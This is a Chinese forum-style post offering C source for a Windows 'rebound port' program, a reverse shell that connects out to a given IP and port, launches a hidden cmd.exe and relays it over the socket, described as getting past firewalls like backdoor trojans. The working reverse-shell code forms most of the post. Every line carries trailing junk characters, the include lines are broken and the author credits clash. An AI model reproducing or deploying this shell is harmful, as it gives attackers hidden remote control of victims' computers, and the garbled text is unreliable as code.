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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 .qA{xbu  
>h+349  
/* ============================== +\"-P72vjk  
Rebound port in Windows NT wDwH.~3!  
By wind,2006/7 1T)Zh+?)}  
===============================*/ `m.eM  
#include !K? qgM  
#include G4 G5PXi  
U=8@@ yE  
#pragma comment(lib,"wsock32.lib") i*eAdIi  
4'p=p#o  
void OutputShell(); >]=j'+]  
SOCKET sClient; na^sBq?\  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; MuBx#M/  
"g+z !4b#  
void main(int argc,char **argv) b6E<r>q  
{ t\v+ogbk)  
WSADATA stWsaData; 1p'Le!  
int nRet; P IXL6  
SOCKADDR_IN stSaiClient,stSaiServer; {RB-lfrWs  
B cj/y4"  
if(argc != 3) pb0E@C/R  
{ -|Kzo_" v5  
printf("Useage:\n\rRebound DestIP DestPort\n"); 8q)=  
return; h O emt  
} oR p:B &  
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WSAStartup(MAKEWORD(2,2),&stWsaData); D7"p}PD>~  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &:=$wc  
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stSaiClient.sin_family = AF_INET; vs6,  
stSaiClient.sin_port = htons(0); NcCvm#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TzBzEiANn  
@ d"wAZzD?  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) AOrHU M[I  
{ h.K(P+h  
printf("Bind Socket Failed!\n"); oVCmI"'  
return; o/o:2p.  
} S=3^Q;V/1  
zX{.^|  
stSaiServer.sin_family = AF_INET; O3V.^_k;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /XS&d%y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); /(t sb  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 7-_vY[)/  
{ ~:_0CKa!  
printf("Connect Error!");  uIMe  
return; ~2 u\  
} %f8Qa"j  
OutputShell(); N~ANjn/wL  
} +\#Fd  
&@3m -Z  
void OutputShell() z&4~x!-_  
{ fRTo.u  
char szBuff[1024]; (Y(E%  
SECURITY_ATTRIBUTES stSecurityAttributes; f c6g  
OSVERSIONINFO stOsversionInfo; >uJ/TQU  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _x1EZ&dh  
STARTUPINFO stStartupInfo; q6`G I6  
char *szShell; A\te*G0:S  
PROCESS_INFORMATION stProcessInformation; dPjhq(8 zU  
unsigned long lBytesRead; 7.bN99{xPM  
OY"6J@[z  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ZkB3[$4C=5  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); TJ6#P<M  
stSecurityAttributes.lpSecurityDescriptor = 0; 59Sw+iZj  
stSecurityAttributes.bInheritHandle = TRUE; =7 ,Kf} 6  
Y|0ow_oH  
`#IcxweA  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |dadH7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); /-0' Qa+*  
cy~oPj]j  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =FW5Tkw0  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; AW5iV3  
stStartupInfo.wShowWindow = SW_HIDE; }1+%_|Y-E  
stStartupInfo.hStdInput = hReadPipe; 3}&ZOO   
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; UEzi*"-v2  
! d9AG|  
GetVersionEx(&stOsversionInfo); 9>,Qgp,w  
>{Rb 3Z]  
switch(stOsversionInfo.dwPlatformId) @{Py%  
{ 3]E(mRX  
case 1: |kiJ}oy  
szShell = "command.com"; EEf ]u7  
break; R_D c)  
default: iz}sM>^  
szShell = "cmd.exe"; #WE]`zd  
break; L*?!Z^k  
} EY>8O+  
lj&>cScC  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); & 7QH^  
8V4V3^_xs  
send(sClient,szMsg,77,0); \+qOO65/+  
while(1) gp|1?L 54  
{ #-u [$TA  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); %6 =\5>  
if(lBytesRead) f1+qXMs  
{ zREJ#r  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Y9}8M27vQG  
send(sClient,szBuff,lBytesRead,0);  YRB%:D@u  
} :\V,k~asl  
else ]@xL=%   
{ m[2'd  
lBytesRead=recv(sClient,szBuff,1024,0); :X .,  
if(lBytesRead<=0) break; nJ3vi}`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); OKwOugi0  
} a5`eyL[f  
} |#5 e|z5(  
;MTz]c  
return; +AQDD4bu  
}
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